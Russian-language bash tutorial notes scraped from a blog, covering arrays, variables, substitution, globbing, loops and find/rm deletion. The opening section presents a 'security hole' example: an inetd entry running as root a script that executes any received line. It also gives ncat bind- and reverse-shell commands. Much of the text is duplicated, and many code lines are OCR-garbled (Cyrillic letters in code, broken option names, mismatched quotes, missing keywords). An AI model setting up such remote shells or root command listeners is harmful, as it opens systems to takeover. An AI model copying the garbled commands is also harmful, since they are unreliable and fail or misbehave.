!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null)

!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в каталоге (/dir/dir2/) старше 5 дней и удаляем их

Пример скрипта:

/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do

echo "[/dir1/dir2/dir3] ${LINE}"

rm -rf "${LINE}"

done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]

!!! для работы понадобится openbsd-inetd (суперсервер inetd)

!!! настроить его

!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта

!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh

vim cmd.sh

----------------

#!/bin/sh

while read cmd

$cmd

done

----------------

В Ncat

Для создания шелла на удалённом компьютере:

ncat -l -e "/bin/bash" [ПОРТ]

Для подключения к нему с локального компьютера:

ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:

ncat -l [ПОРТ]

Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:

ncat -e "/bin/bash" [IP] [ПОРТ]

bash

bash Массивы

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

Кроме обычных переменных, bash также различает массивы. 
Вплоть до версии 3 индекс должен был быть числом. 
Обратите внимание, что синтаксис для доступа к n-ному элементу отличается от синтаксиса, принятого в С.
х=()- Определение пустого массива
х[0]='а' -  Присваивание элементов массива
х[1]='Ь' -  Присваивание элементов массива
х[2]='с' -  Присваивание элементов массива
х=('а'  'b'  'с') - Краткий вариант записи четырех предыдущих строк
echo ${x[l]} -  Считывание элемента массива
echo ${x[@]} - Считывание всех элементов массива
Для программистов исключительно важны массивы ассоциативных элементов, которые стали поддерживаться в bash, начиная с версии 4.0. 
Не забудьте, что массив сначала требуется специально объявить как ассоциативный с помощью dec 1 a re -A. 
В противном случае система сочтет, что это обычный массив. 
Тогда последовательности символов, содержащиеся в индексе, будут интерпретированы как О, и у вас получится обычный массив, состоящий из одного-единствеиного элемента (Index 0).
declare -Ay - Определение пустого массива ассоциативных элементов
y[abc]=123 - Присваивание элемента ассоциативного массива
y[efg]=xxx - Присваивание элемента ассоциативного массива
у=( [abc]=123 [efg]=xxx ) - Краткий вариант записи двух предыдущих строк
echo ${y[abc]|- Считывание одного элемента массива
Еще одно важное нововведение версии 4 заключается в том, что с помощью команды mapfile можно построчно преобразовать текстовый файл в элементы обычного массива:
mapfile z < текстовый_файл

Кроме обычных переменных, bash также различает массивы.

Вплоть до версии 3 индекс должен был быть числом.

Обратите внимание, что синтаксис для доступа к n-ному элементу отличается от синтаксиса, принятого в С.

х=()- Определение пустого массива

х[0]='а' - Присваивание элементов массива

х[1]='Ь' - Присваивание элементов массива

х[2]='с' - Присваивание элементов массива

х=('а' 'b' 'с') - Краткий вариант записи четырех предыдущих строк

echo ${x[l]} - Считывание элемента массива

echo ${x[@]} - Считывание всех элементов массива

Для программистов исключительно важны массивы ассоциативных элементов, которые стали поддерживаться в bash, начиная с версии 4.0.

Не забудьте, что массив сначала требуется специально объявить как ассоциативный с помощью dec 1 a re -A.

В противном случае система сочтет, что это обычный массив.

Тогда последовательности символов, содержащиеся в индексе, будут интерпретированы как О, и у вас получится обычный массив, состоящий из одного-единствеиного элемента (Index 0).

declare -Ay - Определение пустого массива ассоциативных элементов

y[abc]=123 - Присваивание элемента ассоциативного массива

y[efg]=xxx - Присваивание элемента ассоциативного массива

у=( [abc]=123 [efg]=xxx ) - Краткий вариант записи двух предыдущих строк

echo ${y[abc]|- Считывание одного элемента массива

Еще одно важное нововведение версии 4 заключается в том, что с помощью команды mapfile можно построчно преобразовать текстовый файл в элементы обычного массива:

mapfile z < текстовый_файл

bash

bash Присвоение / отображение переменной / глобальные / локальные переменные

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

Присвоение и отображение переменной:

Присвоение делается с помощью оператора присваивания =. 
var=abc

Чтобы отобразить содержимое оболочковой переменной, нужно воспользоваться командой echo, 
при этом перед именем переменной необходимо поставить символ $:
echo $var 
abc

При присваивании переменных нельзя оставлять между оператором присваивания = и именем переменной пробелов. 
Запись var = abc синтаксически неверная и работать не будет!
Если в содержимом оболочковой переменной должны содержаться пробелы или другие специальные символы, 
то при присваивании всю последовательность символов необходимо заключить в одиночные кавычки:
var='abc efg"

При присваивании можно записывать друг за другом сразу по несколько последовательностей символов. 
В следующем примере переменной а присваивается новая последовательность символов, состоящая из содержимого этой переменной, 
последовательности символов ххх и еще раз из исходного содержимого:
a=3
a=$a'xxx'$a 
echo $a ЗхххЗ

В следующем примере имеющаяся переменная PATH (со списком всех каталогов, в которых может осуществляться поиск исполняемых программ) 
дополняется в домашнем каталоге каталогом bin. 
Теперь вы можете выполнять любые команды, находящиеся в этом каталоге (не указывая путь полностью).
echo SPATH
/usr/1 ocal/sbin:/usr/1ocal/bi n:/usr/sbi n:/usr/bi n:/sbin:/bin
PATH=$PATH':/home/kofler/bin
echo $PATH
/usr/1ocal/sbin:/usr/1ocal/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/kofler/bin
Вычисления с переменными можно производить в квадратных скобках описанным выше способом:
a=3 
а=$[$а*4] 
echo $a 12


Если результат выполнения команды следует сохранить в переменной, нужно произвести описанную выше подстановку команды по образцу $(команда). 
В следующем примере текущий каталог сохраняется в а:
a=$(pwd)
echo $a /home/kofler

Присвоение делается с помощью оператора присваивания =.

var=abc

Чтобы отобразить содержимое оболочковой переменной, нужно воспользоваться командой echo,

при этом перед именем переменной необходимо поставить символ $:

echo $var

abc

При присваивании переменных нельзя оставлять между оператором присваивания = и именем переменной пробелов.

Запись var = abc синтаксически неверная и работать не будет!

Если в содержимом оболочковой переменной должны содержаться пробелы или другие специальные символы,

то при присваивании всю последовательность символов необходимо заключить в одиночные кавычки:

var='abc efg"

При присваивании можно записывать друг за другом сразу по несколько последовательностей символов.

В следующем примере переменной а присваивается новая последовательность символов, состоящая из содержимого этой переменной,

последовательности символов ххх и еще раз из исходного содержимого:

a=3

a=$a'xxx'$a

echo $a ЗхххЗ

В следующем примере имеющаяся переменная PATH (со списком всех каталогов, в которых может осуществляться поиск исполняемых программ)

дополняется в домашнем каталоге каталогом bin.

Теперь вы можете выполнять любые команды, находящиеся в этом каталоге (не указывая путь полностью).

echo SPATH

/usr/1 ocal/sbin:/usr/1ocal/bi n:/usr/sbi n:/usr/bi n:/sbin:/bin

PATH=$PATH':/home/kofler/bin

echo $PATH

/usr/1ocal/sbin:/usr/1ocal/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/kofler/bin

Вычисления с переменными можно производить в квадратных скобках описанным выше способом:

a=3

а=$[$а*4]

echo $a 12

Если результат выполнения команды следует сохранить в переменной, нужно произвести описанную выше подстановку команды по образцу $(команда).

В следующем примере текущий каталог сохраняется в а:

a=$(pwd)

echo $a /home/kofler

!!! Содержимое переменных сохраняется только в оболочке:

Содержимое переменных сохраняется только в оболочке.
При выходе из оболочки эта информация теряется. 
Если определенные переменные требуются вам снова и снова, то присваивание следует производить в файле /etc/profile или .profile домашнего каталога.
Оба этих файла (если они имеются) автоматически выполняются при запуске bash.
Если вы хотите сохранить содержимое одной из переменных в файле, то нужно выполнить команду echo с переадресацией ввода:
echo $var > file

Содержимое переменных сохраняется только в оболочке.

При выходе из оболочки эта информация теряется.

Если определенные переменные требуются вам снова и снова, то присваивание следует производить в файле /etc/profile или .profile домашнего каталога.

Оба этих файла (если они имеются) автоматически выполняются при запуске bash.

Если вы хотите сохранить содержимое одной из переменных в файле, то нужно выполнить команду echo с переадресацией ввода:

echo $var > file

Глобальные и локальные переменные:

Обратите внимание, что все переменные, полученные в результате обычного присваивания, могут быть только локальными! 
Чтобы задать глобальную переменную, следует выполнить export или declare -x.
Для управления переменными в оболочке существуют многочисленные команды, которые функционально иногда дублируют друг друга. 
Например, для объявления глобальной переменной можно использовать как export, так и declare -x. 
Следующие примеры приводятся для того, чтобы немного прояснить ситуацию с дублирующимися командами:
       
а=3 - Краткий способ записи let, переменная а является локальной
declare a=3 - Присваивает локальной переменной а значение (как let)
declare -x а=3 - Присваивает локальной переменной а значение (как export)
export - Отображает все глобальные переменные
export a - Делает переменную а глобальной
export a=3 - Присваивает глобальной переменной а значение
let a=3 - Присваивает глобальной переменной а значение
local a=3 - Определяет переменную а как локальную (лишь в функциях оболочки)
printenv  - Как и export, отображает все глобальные переменные
set - Отображает все переменные (и локальные, и глобальные)
unset a - Удаляет переменную а

Обратите внимание, что все переменные, полученные в результате обычного присваивания, могут быть только локальными!

Чтобы задать глобальную переменную, следует выполнить export или declare -x.

Для управления переменными в оболочке существуют многочисленные команды, которые функционально иногда дублируют друг друга.

Например, для объявления глобальной переменной можно использовать как export, так и declare -x.

Следующие примеры приводятся для того, чтобы немного прояснить ситуацию с дублирующимися командами:

а=3 - Краткий способ записи let, переменная а является локальной

declare a=3 - Присваивает локальной переменной а значение (как let)

declare -x а=3 - Присваивает локальной переменной а значение (как export)

export - Отображает все глобальные переменные

export a - Делает переменную а глобальной

export a=3 - Присваивает глобальной переменной а значение

let a=3 - Присваивает глобальной переменной а значение

local a=3 - Определяет переменную а как локальную (лишь в функциях оболочки)

printenv - Как и export, отображает все глобальные переменные

set - Отображает все переменные (и локальные, и глобальные)

unset a - Удаляет переменную а

Переменные, задаваемые оболочкой:

Программы оболочки могут обращаться и к некоторым переменным, заранее заданным bash. 
Эти переменные нельзя изменять в ходе присваивания, их можно только считывать. 
Имя переменной состоит из различных специальных символов.
Переменные даются уже с предшествующим символом $.
$? - Возвращаемое значение последней команды
$! - Номер PID последнего запущенного фонового процесса
$$ - PID текущей оболочки
$0 - Имя файла, содержащего только что выполненный файл оболочки (или имя символьной ссылки, указывающей на файл)
$# - Количество параметров, переданных программе оболочки
От $1 до $9 - Параметр от 1 до 9
$* или $@ - Совокупность всех переданных параметров

Программы оболочки могут обращаться и к некоторым переменным, заранее заданным bash.

Эти переменные нельзя изменять в ходе присваивания, их можно только считывать.

Имя переменной состоит из различных специальных символов.

Переменные даются уже с предшествующим символом $.

$? - Возвращаемое значение последней команды

$! - Номер PID последнего запущенного фонового процесса

$$ - PID текущей оболочки

$0 - Имя файла, содержащего только что выполненный файл оболочки (или имя символьной ссылки, указывающей на файл)

$# - Количество параметров, переданных программе оболочки

От $1 до $9 - Параметр от 1 до 9

$* или $@ - Совокупность всех переданных параметров

bash

bash Подстановка команд / find

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

!!! Обратите внимание:

символ '  используется для обозначения последовательностей символов, 
a ` — для подстановки команд (см. выше). Эти символы не равнозначны!

1 2	символ ' используется для обозначения последовательностей символов, a ` — для подстановки команд (см. выше). Эти символы не равнозначны!

Подстановка команд:

`` - кавычки на искосок
Пользуясь подстановкой команд, можно заменить команду в командной строке результатом этой команды. 
Для этого команда должна быть заключена между двумя символами \ Альтернативная запись — $(команда). 
Второй метод предпочтителен, так как, во-первых, в таком случае вы избегаете путаницы с тремя разными кавычками (", ' и v), во-вторых, второй метод допускает вложения.
Обозначенная таким образом команда будет заменена результатом ее выполнения. 
Подобная запись обеспечивает вложенный вызов нескольких команд, причем одна команда передает результат своего выполнения другой. 

Две представленные далее равнозначные команды проясняют принцип работы этого чрезвычайно мощного механизма:
ls -lgo   `find /usr/share -name '*README*'
ls -lgo $(find /usr/share -name '*README*')

Вышеуказанная команда сначала выполняет find /usr/share -name '*README*'. 
Результат выполнения этой команды — список всех файлов, находящихся в каталоге /usr/share и содержащих последовательность символов README. 
Теперь этот список вставляется в командную строку на месте команды find. 

Тогда командная строка может записываться следующим образом:
Получить такой результат, используя обычный программный канал с символом не удастся. 
Команда ls не ожидает никакого стандартного ввода, а также игнорирует информацию, передаваемую find через программный канал. 
И именно поэтому следующая команда отображает только содержимое текущего каталога. 
Результаты find выводиться не будут!
(не работает!) find /usr/share -name '*README*'  | ls -l  

Есть еще одно решение, позволяющее обойтись без подстановки команд: 
с помощью команды xargs данные стандартного ввода передаются указанной команде:
find /usr/share -name '*README*'   | xargs ls -1

Важное достоинство xargs заключается в том, что объем данных, которые можно переработать, ничем не ограничен. 
При необходимости xargs вызывает команду неоднократно и передает получаемые данные в стандартный ввод в несколько этапов. 
Напротив, при подстановке команд максимальная длина командной строки ограничена, как правило, несколькими тысячами символов.

Если в именах файлов содержатся пробелы, передача таких имен может вызывать затруднения. Чтобы избежать этих проблем, передайте команде find параметр
-printO, а команде xargs — параметр -null. 
Следующая команда ставит для всех каталогов бит execute:
find -type d -printO | xargs --null chmod a+x

`` - кавычки на искосок

Пользуясь подстановкой команд, можно заменить команду в командной строке результатом этой команды.

Для этого команда должна быть заключена между двумя символами \ Альтернативная запись — $(команда).

Второй метод предпочтителен, так как, во-первых, в таком случае вы избегаете путаницы с тремя разными кавычками (", ' и v), во-вторых, второй метод допускает вложения.

Обозначенная таким образом команда будет заменена результатом ее выполнения.

Подобная запись обеспечивает вложенный вызов нескольких команд, причем одна команда передает результат своего выполнения другой.

Две представленные далее равнозначные команды проясняют принцип работы этого чрезвычайно мощного механизма:

ls -lgo `find /usr/share -name '*README*'

ls -lgo $(find /usr/share -name '*README*')

Вышеуказанная команда сначала выполняет find /usr/share -name '*README*'.

Результат выполнения этой команды — список всех файлов, находящихся в каталоге /usr/share и содержащих последовательность символов README.

Теперь этот список вставляется в командную строку на месте команды find.

Тогда командная строка может записываться следующим образом:

Получить такой результат, используя обычный программный канал с символом не удастся.

Команда ls не ожидает никакого стандартного ввода, а также игнорирует информацию, передаваемую find через программный канал.

И именно поэтому следующая команда отображает только содержимое текущего каталога.

Результаты find выводиться не будут!

(не работает!) find /usr/share -name '*README*' | ls -l

Есть еще одно решение, позволяющее обойтись без подстановки команд:

с помощью команды xargs данные стандартного ввода передаются указанной команде:

find /usr/share -name '*README*' | xargs ls -1

Важное достоинство xargs заключается в том, что объем данных, которые можно переработать, ничем не ограничен.

При необходимости xargs вызывает команду неоднократно и передает получаемые данные в стандартный ввод в несколько этапов.

Напротив, при подстановке команд максимальная длина командной строки ограничена, как правило, несколькими тысячами символов.

Если в именах файлов содержатся пробелы, передача таких имен может вызывать затруднения. Чтобы избежать этих проблем, передайте команде find параметр

-printO, а команде xargs — параметр -null.

Следующая команда ставит для всех каталогов бит execute:

find -type d -printO | xargs --null chmod a+x

Примеры:

ls -lgo   `find /usr/share -name '*README*'
ls -lgo $(find /usr/share -name '*README*')
find -type d -printO | xargs --null chmod a+x

ls -lgo `find /usr/share -name '*README*'

ls -lgo $(find /usr/share -name '*README*')

find -type d -printO | xargs --null chmod a+x

find + rm:

Следующая команда удаляет все резервные копии, содержащиеся в данном каталоге и во всех подкаталогах. 
При этом find строит список всех сомнительных файлов и передает его команде rm через подстановку команды ($(команда)).

rm $(find .  -name '*-')

Следующая команда удаляет все резервные копии, содержащиеся в данном каталоге и во всех подкаталогах.

При этом find строит список всех сомнительных файлов и передает его команде rm через подстановку команды ($(команда)).

rm $(find . -name '*-')

bash

bash Фигурные скобки

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

Образование последовательностей символов с помощью {}. 
Из последовательностей символов, заключенных в фигурные скобки, bash образует любые мыслимые последовательности символов. 
Официальное название такого механизма подстановки — раскрытие скобок (brace expansion). 
Выражение part{1.2a.2b} означает parti part2a part2b. 
Пользуясь раскрытием скобок, можно облегчить печатную работу, если вы обращаетесь ко многим файлам и каталогам с похожими именами. 
По сравнению с джокерными символами * и ? есть определенное преимущество — можно образовывать имена еще не существующих файлов (это касается, например, mkdi r).

echo {a,b}{1.2,3}
al a2 a3 bl Ь2 ЬЗ

echo {ab,cd}{123,456.789}-{I,II}
abl23-I abl23-II ab456-I ab456-II ab789-I ab789-II cdl23-I cdl23-II cd456-I cd456-II cd789-I cd789-II

Образование последовательностей символов с помощью {}.

Из последовательностей символов, заключенных в фигурные скобки, bash образует любые мыслимые последовательности символов.

Официальное название такого механизма подстановки — раскрытие скобок (brace expansion).

Выражение part{1.2a.2b} означает parti part2a part2b.

Пользуясь раскрытием скобок, можно облегчить печатную работу, если вы обращаетесь ко многим файлам и каталогам с похожими именами.

По сравнению с джокерными символами * и ? есть определенное преимущество — можно образовывать имена еще не существующих файлов (это касается, например, mkdi r).

echo {a,b}{1.2,3}

al a2 a3 bl Ь2 ЬЗ

echo {ab,cd}{123,456.789}-{I,II}

abl23-I abl23-II ab456-I ab456-II ab789-I ab789-II cdl23-I cdl23-II cd456-I cd456-II cd789-I cd789-II

Вычисление арифметических выражений с помощью квадратных скобак:

[] 
Обычно в bash нельзя производить вычисления. 
Если написать 2 + 3, то оболочка «не сообразит», что делать с этим выражением. 
Если вы хотите вычислять, работая с оболочкой, нужно заключить выражение в квадратные скобки и поставить перед ними символ $:

echo $[2+3] 
5

В квадратных скобках можно использовать большинство операторов, 
известных из языка программирования С: +, -, *, / для четырех основных арифметических операций, 
% для вычислений по модулю,
==, !=, <, <=, > и >= для сравнений, 
« и » для перемещений битов, !, && и | | для логических операторов NO, AND и OR и т. д. 
Все вычисления выполняются с 32-битными целыми числами (диапазон чисел: ±2 147 483 648). 
Если следует извлечь отдельные значения из переменных перед переменными, необходимо ставить символ $.

Есть еще один способ производить вычисления — с помощью команды ехрг. 
Это самостоятельная команда Linux, работающая независимо от bash.

[]

Обычно в bash нельзя производить вычисления.

Если написать 2 + 3, то оболочка «не сообразит», что делать с этим выражением.

Если вы хотите вычислять, работая с оболочкой, нужно заключить выражение в квадратные скобки и поставить перед ними символ $:

echo $[2+3]

В квадратных скобках можно использовать большинство операторов,

известных из языка программирования С: +, -, *, / для четырех основных арифметических операций,

% для вычислений по модулю,

==, !=, <, <=, > и >= для сравнений,

« и » для перемещений битов, !, && и | | для логических операторов NO, AND и OR и т. д.

Все вычисления выполняются с 32-битными целыми числами (диапазон чисел: ±2 147 483 648).

Если следует извлечь отдельные значения из переменных перед переменными, необходимо ставить символ $.

Есть еще один способ производить вычисления — с помощью команды ехрг.

Это самостоятельная команда Linux, работающая независимо от bash.

bash

bash Примеры про звездочку (Астериск)

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

echo /*
/bin /boot /dev /etc /home /lib /lost+found /media /misc /mnt /net /opt
/proc /root /sbin /selinux /srv /sys /tmp /usr /var

echo /[a-f]*
/bin /boot /dev /etc


По умолчанию * не учитывает файлов и каталогов, имена которых начинаются с точки (иными словами, скрытых). 
Если вам требуется такой эффект, необходимо воспользоваться bash-параметром globdot:
shopt -s dotglob 
echo *
user$ shopt -u dotglob    (dotglob снова деактивирована)

echo /*

/bin /boot /dev /etc /home /lib /lost+found /media /misc /mnt /net /opt

/proc /root /sbin /selinux /srv /sys /tmp /usr /var

echo /[a-f]*

/bin /boot /dev /etc

По умолчанию * не учитывает файлов и каталогов, имена которых начинаются с точки (иными словами, скрытых).

Если вам требуется такой эффект, необходимо воспользоваться bash-параметром globdot:

shopt -s dotglob

echo *

user$ shopt -u dotglob (dotglob снова деактивирована)

bash

bash Механизмы подстановки / регулярные выражения

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

? - Любой символ
* - Любое количество любых символов (в том числе ни одного), но не *-файлы!
** - Любые файлы и каталоги, в том числе из всех подкаталогов (начиная с версии bash 4.0 — shopt -s globstar)
[abc] - Один из символов, указанных в скобках
[a-f] - Символ из указанного диапазона
[!abc] - Любые символы, кроме тех, что указаны в скобках
[^аЬс] - Аналогично предыдущему
~ - Сокращенное обозначение домашнего каталога
. - Текущий каталог
.. - Каталог на один уровень выше
ab{l,2,3} - Возврат abl аЬ2 аЬЗ
a{1..4} - Возврат al а2 аЗ а4
$[3*4] - Арифметические вычисления
`команда` - Замена команды результатом ее выполнения
$(команда) - Вариант, аналогичный предыдущему
Команда "символ" - Отмена интерпретацию любых специальных символов, кроме $
Команда 'символ' - Похоже на предыдущий вариант, но с большими ограничениями (не допускает подстановки переменных)

? - Любой символ

* - Любое количество любых символов (в том числе ни одного), но не *-файлы!

** - Любые файлы и каталоги, в том числе из всех подкаталогов (начиная с версии bash 4.0 — shopt -s globstar)

[abc] - Один из символов, указанных в скобках

[a-f] - Символ из указанного диапазона

[!abc] - Любые символы, кроме тех, что указаны в скобках

[^аЬс] - Аналогично предыдущему

~ - Сокращенное обозначение домашнего каталога

. - Текущий каталог

.. - Каталог на один уровень выше

ab{l,2,3} - Возврат abl аЬ2 аЬЗ

a{1..4} - Возврат al а2 аЗ а4

$[3*4] - Арифметические вычисления

`команда` - Замена команды результатом ее выполнения

$(команда) - Вариант, аналогичный предыдущему

Команда "символ" - Отмена интерпретацию любых специальных символов, кроме $

Команда 'символ' - Похоже на предыдущий вариант, но с большими ограничениями (не допускает подстановки переменных)

bash

bash ссылки

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/12/14

Подробная дополнительная информация и многочисленные примеры  на отличном сайте http://bash-hackers.org/.

1	Подробная дополнительная информация и многочисленные примеры на отличном сайте http://bash-hackers.org/.

bash

bash Специальные символы, используемые в bash

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/16

;	        Отделение команд друг от друга
:	        Команда оболочки, ничего не делает
.	        Запуск оболочки без собственного командного подпроцессора (.file соответствует исходному файлу)
#	        Ввод комментария
#!/bin/sh       Идентификация оболочки, в которой будет выполняться программа
&               Выполнение команды в фоновом режиме (com &)
&&              Выполнение одной команды в зависимости от результата другой (coml && com2)
&>              Переадресация стандартного вывода и ошибок (соответствует >&)
|               Создание программных каналов (coml | com2)
||              Выполнение одной команды в зависимости от результата другой (coml || com2)
*               Джокерный символ для имен файлов (любое количество символов)
?               Джокерный символ для имен файлов (любой символ)
[abc]           Джокерный символ для имен файлов (любой символ из abc)
[ expression ]  Сокращенный вариант записи test expression
(...)           Выполнение команд в той же оболочке ((coml; com2))
{...}           Группирование команд
{,,}            Объединение нескольких последовательностей символов (а{1,2,3} -> al a2 аЗ)
{a..b}          Объединение нескольких последовательностей символов (Ь{4..6} -> Ь4 Ь5 Ь6)
~               Сокращенное обозначение домашнего каталога
>               Переадресация вывода в файл (com > file)
>>              Переадресация вывода и добавление его в существующий файл
>&              Переадресация стандартного вывода и ошибок (соответствует &>)
2>              Переадресация стандартного вывода ошибок
<               Переадресация ввода из файла (com < file)
<< end          Переадресация ввода из активного файла до завершения
$               Обозначение переменных (echo $var)
$!              Номер PID последнего процесса, запущенного в фоновом режиме
$$              PID актуальной оболочки
$0              Имя выполняемого в данный момент сценарного файла оболочки
$l-$9           Первые девять параметров, переданных команде
$#              Количество параметров, переданных программе оболочки
$* или $@       Совокупность всех переданных параметров
$?              Возвращаемое значение последней команды (0=ОК или номер ошибки)
$(...)          Подстановка команд (echo $(ls))
${...}          Различные специальные функции для обработки последовательностей символов
$[...]          Арифметические вычисления (echo $[2+3])
"..."           Предотвращение интерпретации большинства специальных символов
'...'           Предотвращение интерпретации всех специальных символов
`...`           Подстановка команд (echo `ls`)
?               Любой символ
*               Сколько угодно любых символов (а также ни одного)
[abe]           Один из символов, указанных в скобках
[a-f]           Один из символов, относящийся к указанному диапазону
[!abc]          Все символы, указанные в скобках, должны отсутствовать
[^аЬс]          Все символы, указанные в скобках, должны отсутствовать

; Отделение команд друг от друга

: Команда оболочки, ничего не делает

. Запуск оболочки без собственного командного подпроцессора (.file соответствует исходному файлу)

# Ввод комментария

#!/bin/sh Идентификация оболочки, в которой будет выполняться программа

& Выполнение команды в фоновом режиме (com &)

&& Выполнение одной команды в зависимости от результата другой (coml && com2)

&> Переадресация стандартного вывода и ошибок (соответствует >&)

| Создание программных каналов (coml | com2)

|| Выполнение одной команды в зависимости от результата другой (coml || com2)

* Джокерный символ для имен файлов (любое количество символов)

? Джокерный символ для имен файлов (любой символ)

[abc] Джокерный символ для имен файлов (любой символ из abc)

[ expression ] Сокращенный вариант записи test expression

(...) Выполнение команд в той же оболочке ((coml; com2))

{...} Группирование команд

{,,} Объединение нескольких последовательностей символов (а{1,2,3} -> al a2 аЗ)

{a..b} Объединение нескольких последовательностей символов (Ь{4..6} -> Ь4 Ь5 Ь6)

~ Сокращенное обозначение домашнего каталога

> Переадресация вывода в файл (com > file)

>> Переадресация вывода и добавление его в существующий файл

>& Переадресация стандартного вывода и ошибок (соответствует &>)

2> Переадресация стандартного вывода ошибок

< Переадресация ввода из файла (com < file)

<< end Переадресация ввода из активного файла до завершения

$ Обозначение переменных (echo $var)

$! Номер PID последнего процесса, запущенного в фоновом режиме

$$ PID актуальной оболочки

$0 Имя выполняемого в данный момент сценарного файла оболочки

$l-$9 Первые девять параметров, переданных команде

$# Количество параметров, переданных программе оболочки

$* или $@ Совокупность всех переданных параметров

$? Возвращаемое значение последней команды (0=ОК или номер ошибки)

$(...) Подстановка команд (echo $(ls))

${...} Различные специальные функции для обработки последовательностей символов

$[...] Арифметические вычисления (echo $[2+3])

"..." Предотвращение интерпретации большинства специальных символов

'...' Предотвращение интерпретации всех специальных символов

`...` Подстановка команд (echo `ls`)

? Любой символ

* Сколько угодно любых символов (а также ни одного)

[abe] Один из символов, указанных в скобках

[a-f] Один из символов, относящийся к указанному диапазону

[!abc] Все символы, указанные в скобках, должны отсутствовать

[^аЬс] Все символы, указанные в скобках, должны отсутствовать

ls -F

/       Каталог
*       Исполняемый файл
@       Символьная ссылка
-       Символьное устройство
+       Блочное устройство
=       Pipe, FIFO

/ Каталог

* Исполняемый файл

@ Символьная ссылка

- Символьное устройство

+ Блочное устройство

= Pipe, FIFO

bash

bash until

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/15

Циклы until:

Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. 
Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).

1 2	Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).

i=1; until [ $i  -gt 5 ]; do echo $i;  i=$[$i+1]; done

1	i=1; until [ $i -gt 5 ]; do echo $i; i=$[$i+1]; done

bash

bash while

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/15

Циклы while:

В следующем примере переменной i присваивается значение 1. 
Потом значение переменной, находящейся в теле цикла между do и done, при каждом выполнении цикла увеличивается на 1, пока не будет превышено значение 5. 
Обратите внимание, что условия должны указываться в квадратных скобках, как это делалось с условными переходами if, с командой test или с ее сокращенным вариантом.

В следующем примере переменной i присваивается значение 1.

Пример 0:

i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

1	i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

Пример 1:

Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls *. jpg:
ls *.txt | while read file ; do echo "$file" ; done

1 2	Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls . jpg: ls .txt \| while read file ; do echo "$file" ; done

Пример 2:

Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла.
ls *.txt | while read file ; do echo "\\n ### \\n ### \\t $file \\n ###" && cat "$file" ; done

1 2	Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла. ls *.txt \| while read file ; do echo "\\n ### \\n ### \\t $file \\n ###" && cat "$file" ; done

Бесконечный цикл

#!/bin/bash
while :
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

#!/bin/bash

while :

echo "Press [CTRL+C] to stop.."

sleep 1

done

Бесконечный цикл

#!/bin/bash
while true
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

#!/bin/bash

while true

echo "Press [CTRL+C] to stop.."

sleep 1

done

Бесконечный цикл показывать время каждую секунду

#!/bin/bash
while :;do clear ;date ;sleep 1;done

1 2	#!/bin/bash while :;do clear ;date ;sleep 1;done

Бесконечный цикл меню

#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap ''  SIGQUIT
trap '' SIGTSTP
 
# display message and pause 
pause(){
	local m="$@"
	echo "$m"
	read -p "Press [Enter] key to continue..." key
}
 
# set an 
while :
do
	# show menu
	clear
	echo "---------------------------------"
	echo "	     M A I N - M E N U"
	echo "---------------------------------"
	echo "1. Show current date/time"
	echo "2. Show what users are doing"
	echo "3. Show top memory & cpu eating process"
	echo "4. Show network stats"
	echo "5. Exit"
	echo "---------------------------------"
	read -r -p "Enter your choice [1-5] : " c
	# take action
	case $c in
		1) pause "$(date)";;
		2) w| less;;
		3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
		   echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
		   echo;  pause;;
		4) netstat -s | less;;
		5) break;;
		*) Pause "Select between 1 to 5 only"
	esac
done

